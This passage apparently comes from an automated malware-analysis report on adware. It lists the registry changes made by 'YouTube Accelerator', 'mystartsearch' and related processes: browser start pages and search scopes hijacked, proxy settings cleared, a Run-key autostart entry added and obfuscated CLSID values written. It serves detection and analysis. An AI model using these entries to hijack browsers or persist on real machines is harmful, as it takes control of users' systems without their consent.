"Time" = "Type: REG_QWORD, Length: 8"

[HKLM\SOFTWARE\Clients\StartMenuInternet\Google Chrome\shell\open\command]
"(Default)" = "%Program Files% (x86)\Google\Chrome\Application\chrome.exe http://www.mystartsearch.com/?type=sc&ts=1422581320&from=smt&uid=535559167_198339_B48A115F"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes]
"DefaultScope" = "{33BB0A4E-99AF-4226-BDF6-49120163DE86}"

[HKCU\Software\Classes\Local Settings\MuiCache\29\52C64B7E\@""%windir%\System32]
"ie4uinit.exe"",-738" = "Start Internet Explorer without ActiveX controls or browser extensions."

[HKLM\SOFTWARE\Clients\StartMenuInternet\IEXPLORE.EXE\shell\open\command]
"(Default)" = "%Program Files%\Internet Explorer\iexplore.exe http://www.mystartsearch.com/?type=sc&ts=1422581320&from=smt&uid=535559167_198339_B48A115F"

[HKLM\SOFTWARE\Wow6432Node\mystartsearchSoftware\mystartsearchhp]
"oem" = "smt"

[HKCU\Software\Microsoft\Internet Explorer\TabbedBrowsing]
"NewTabPageShow" = "1"

[HKLM\SOFTWARE\Microsoft\Internet Explorer\Main]
"Start Page" = "http://www.mystartsearch.com/?type=hp&ts=1422581320&from=smt&uid=535559167_198339_B48A115F"
"Search Page" = "http://www.mystartsearch.com/web/?type=ds&ts=1422581320&from=smt&uid=535559167_198339_B48A115F&q={searchTerms}"

[HKCU\Software\Microsoft\Internet Explorer\Main]
"Default_Page_URL" = "http://www.mystartsearch.com/?type=hp&ts=1422581320&from=smt&uid=535559167_198339_B48A115F"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\mystartsearch uninstall]
"Publisher" = "mystartsearchã°€ÇÈ¯"

[HKLM\SOFTWARE\Microsoft\Internet Explorer\SearchScopes\{33BB0A4E-99AF-4226-BDF6-49120163DE86}]
"URL" = "http://www.mystartsearch.com/web/?type=ds&ts=1422581320&from=smt&uid=535559167_198339_B48A115F&q={searchTerms}"
"DisplayName" = "mystartsearch"

[HKCU\Software\Microsoft\Internet Explorer\Main]
"Start Page" = "http://www.mystartsearch.com/?type=hp&ts=1422581320&from=smt&uid=535559167_198339_B48A115F"

[HKCU\Software\Mozilla\Extends]
"ptid" = "smt"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\SearchScopes]
"DefaultScope" = "{33BB0A4E-99AF-4226-BDF6-49120163DE86}"

[HKLM\SOFTWARE\Microsoft\Internet Explorer\Main]
"Default_Page_URL" = "http://www.mystartsearch.com/?type=hp&ts=1422581320&from=smt&uid=535559167_198339_B48A115F"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\mystartsearch uninstall]
"DisplayIcon" = "C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\UninstallManager.exeæ”€ç²È¯"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{33BB0A4E-99AF-4226-BDF6-49120163DE86}]
"DisplayName" = "mystartsearch"

[HKLM\SOFTWARE\Wow6432Node\Mozilla\Firefox\Extensions]
"[email protected]" = "C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]"

The process YTAHelper.exe:1496 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyOverride"
"AutoDetect"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"

The process YouTubeAcceleratorService.exe:2676 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\fSXewhkfv]
"(Default)" = "_xYZQyJjWvnbINNKdd"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 04 00 00 00 09 00 00 00 00 00 00 00"

[HKU\.DEFAULT\Software\GOOBZO\YouTube Accelerator]
"LastUpdateTime" = "1422581321"

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{03B3ED09D712B0615}" = "56 3E A8 0E 0B A2 A7 A6 41 06 53 98 CA A5 44 A3"

[HKU\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecision" = "0"

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\Tracer]
"TimeStamp" = "1422581329"

[HKCU\Software\Goobzo\YouTube Accelerator]
"SBAIDV" = "0"
"SBPIDV" = "0"

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{I3B3ED09D712B0615}" = "09 00 00 00"

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator]
"LspVersion" = "1.0.0.1"

[HKU\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecisionReason" = "1"
"WpadNetworkName" = "Network 3"

[HKU\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "59 0A 7F 12 2C 3C D0 01"

[HKCU\Software\Goobzo\YouTube Accelerator\AdditionalInfo]
"VA_Aff" = "NONE"

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\Tracer]
"TraceFolder" = "C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\"
"TraceLevel" = "3"

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator]
"LSPTestSucceeded" = "1"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\uqmpybcjdI]
"(Default)" = "PxJUBQ^lx|ab@_w}Yu`gBISI`@Ndl"

[HKU\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"

[HKU\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKCU\Software\Goobzo\YouTube Accelerator\AdditionalInfo]
"XMLUpdateFailed" = "0"

[HKU\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecisionTime" = "59 0A 7F 12 2C 3C D0 01"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\sehlsRMuplph]
"(Default)" = "}QJijLDlnGtvlM\DtkiSLXGjt\li@u"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\cgcdxuSksc]
"(Default)" = "mA_vX[@|ipql`LRKtAe^~Eu"

[HKU\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKCU\Software\Goobzo\YouTube Accelerator]
"SBAID" = "3d25af1c-6093-4a17-8fb9-0df34fdf8db8"

[HKU\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecision" = "0"

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\Tracer]
"TimeLimit" = "1"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\Tracer]
"TraceDestination" = "3"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\LdsE]
"(Default)" = "mncEDgoMD^EumhBjdoZiF"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\RFC1156Agent\CurrentVersion\Parameters]
"TrapPollTimeMilliSecs" = "15000"

[HKCU\Software\Goobzo\YouTube Accelerator]
"SBAPW" = "DESvnCzg"

[HKU\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKCU\Software\Goobzo\YouTube Accelerator\AdditionalInfo]
"resver" = "1.0.0.8"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\pseKcc]
"(Default)" = "MeumSRC\}IQAf_@a`KGMsCJEycmq"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"DefaultConnectionSettings" = "46 00 00 00 04 00 00 00 09 00 00 00 00 00 00 00"

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\Tracer]
"TracerDoBackup" = "1"

[HKCU\Software\Goobzo\YouTube Accelerator\AdditionalInfo]
"UpdateReason" = "0"
"XMLVersion" = "0"

[HKCU\Software\Goobzo\YouTube Accelerator]
"SBPPW" = "CuYNL6Dr"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\Uojvoqeov]
"(Default)" = "\HWH"

[HKCU\Software\Goobzo\YouTube Accelerator]
"SBPID" = "2b739ee3-657b-4b28-ab6c-93812cc4b452"

[HKU\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

Proxy settings are disabled:

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following registry key(s):

[HKCU\Software\Goobzo\YouTube Accelerator\AdditionalInfo]

The Application deletes the following value(s) in system registry:

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}]
"Uojvoqeov"
"qvorsEtjxw"
"qvbbRNdMg"
"cgcdxuSksc"
"LdsE"
"fSXewhkfv"
"yxQHXfdfitoe"
"pxylOXnGwpXkz"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}]
"jugyvwoEcjGw"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoDetect"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}]
"sehlsRMuplph"
"wjxsvv"
"rffapxdttSchh"
"yEsrDTepOCs"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyOverride"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}]
"hFLwn"
"DxOl"
"FdUXjkIpvn"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKU\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDetectedUrl"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}]
"qPacydvhduuR"
"MNEMOyZJWG"
"omdjT"

[HKU\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}]
"uqmpybcjdI"
"pseKcc"

The process YouTubeAcceleratorService.exe:348 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Wow6432Node\Microsoft\RFC1156Agent\CurrentVersion\Parameters]
"TrapPollTimeMilliSecs" = "15000"

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{I3B3ED09D712B0615}" = "01 00 00 00"
"{03B3ED09D712B0615}" = "56 3E A8 0E 0B A2 A7 A6 41 06 53 98 CA A5 44 A3"

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\Tracer]
"TraceLevel" = "0"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\InProcServer32]
"Assembly" = "mscorcfg, Version=1.0.3300.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a"
"Class" = "Microsoft.CLRAdmin.CWizardPage"
"ThreadingModel" = "Both"

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{K7C0DB872A3F777C0}" = "FA 6F 3C 44 F1 16 1F FF FF FF FF 64 22 18 AF D9"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\InprocServer32\1.0.3300.0]
"Class" = "Microsoft.CLRAdmin.CWizardPage"
"RuntimeVersion" = "v1.0.3705"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\ProgID]
"(Default)" = "Microsoft.CLRAdmin.CWizardPage"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}]
"(Default)" = "Microsoft.CLRAdmin.CWizardPage"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\InprocServer32\1.0.3300.0]
"Assembly" = "mscorcfg, Version=1.0.3300.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\InProcServer32]
"(Default)" = "C:\Windows\Microsoft.NET\Framework\v1.0.3705\mscormmc.dll"
"RuntimeVersion" = "v1.0.3705"

The Application deletes the following value(s) in system registry:

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}]
"0"

The process YouTubeAcceleratorService.exe:2656 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{I3B3ED09D712B0615}" = "07 00 00 00"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\RFC1156Agent\CurrentVersion\Parameters]
"TrapPollTimeMilliSecs" = "15000"

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{03B3ED09D712B0615}" = "56 3E A8 0E 0B A2 A7 A6 41 06 53 98 CA A5 44 A3"

The process YouTubeAcceleratorService.exe:1800 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{I3B3ED09D712B0615}" = "04 00 00 00"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\RFC1156Agent\CurrentVersion\Parameters]
"TrapPollTimeMilliSecs" = "15000"

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{03B3ED09D712B0615}" = "56 3E A8 0E 0B A2 A7 A6 41 06 53 98 CA A5 44 A3"

The process ins_postInst.exe:3504 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Classes\Local Settings\MuiCache\29\52C64B7E]
"LanguageList" = "en-US, en"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "FE B3 66 07 2C 3C D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadNetworkName" = "Network 3"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 44 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MaxConnectionsPerServer" = "2"
"MaxConnectionsPer1_0Server" = "2"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecisionTime" = "77 5F E1 0B 2C 3C D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecisionTime" = "77 5F E1 0B 2C 3C D0 01"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDetectedUrl"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyOverride"
"AutoDetect"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDetectedUrl"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"

The process ProtectService.exe:3368 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 05 00 00 00 09 00 00 00 00 00 00 00"

Proxy settings are disabled:

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyOverride"
"AutoDetect"
"AutoConfigURL"
"ProxyServer"

The process ProtectService.exe:2632 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 56 00 00 00 09 00 00 00 00 00 00 00"

[HKLM\SOFTWARE\Wow6432Node\IHProtect]
"ptid" = "smt"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"
"AutoDetect"

The process 40.0.2214.94_chrome_installer.exe:3040 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Wow6432Node\Google\Update\ClientState\{4DC8B4CA-1BDA-483E-B5FA-D3C12E15B62D}]
"ap" = "-multi-chrome-full"

The process YouTubeAccelerator.exe:1032 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKCU\Software\Goobzo\YouTube Accelerator\Tracer]
"TraceDestination" = "3"

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{03B3ED09D712B0615}" = "56 3E A8 0E 0B A2 A7 A6 41 06 53 98 CA A5 44 A3"

[HKCU\Software\Goobzo\YouTube Accelerator\Tracer]
"TraceLevel" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecisionReason" = "1"

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{I3B3ED09D712B0615}" = "0C 00 00 00"

[HKCU\Software\Goobzo\YouTube Accelerator\Tracer]
"TraceFolder" = "C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadNetworkName" = "Network 3"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "F0 FB 19 11 2C 3C D0 01"

[HKCU\Software\Goobzo\YouTube Accelerator]
"UiResVer" = "1000008"

[HKCU\Software\Goobzo\YouTube Accelerator\Tracer]
"TimeLimit" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecision" = "0"

[HKCU\Software\Goobzo\YouTube Accelerator]
"RunFinishInstall" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecisionTime" = "1D 9A 95 1A 2C 3C D0 01"

[HKCU\Software\Goobzo\YouTube Accelerator\Tracer]
"TimeStamp" = "1422581329"

[HKCU\Software\Goobzo\YouTube Accelerator]
"CommTestBootNeeded" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 4A 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\RFC1156Agent\CurrentVersion\Parameters]
"TrapPollTimeMilliSecs" = "15000"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"

[HKCU\Software\Goobzo\YouTube Accelerator\Tracer]
"TracerDoBackup" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecisionTime" = "1D 9A 95 1A 2C 3C D0 01"

To automatically run itself each time Windows is booted, the Application adds the following link to its file to the system registry autorun key:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"GOOBZOYouTubeAccelerator" = "%Program Files% (x86)\YouTube Accelerator\YouTubeAccelerator.exe /startup"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDetectedUrl"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoDetect"
"ProxyOverride"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Goobzo\YouTube Accelerator]
"ShowTrayMessage"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDetectedUrl"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"

The process jsdrv.exe:2332 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKLM\SOFTWARE\Wow6432Node\ShopperPro\JsDriver\Tracer]
"TraceLevel" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "62 32 71 0E 2C 3C D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadNetworkName" = "Network 3"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 47 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecisionReason" = "1"

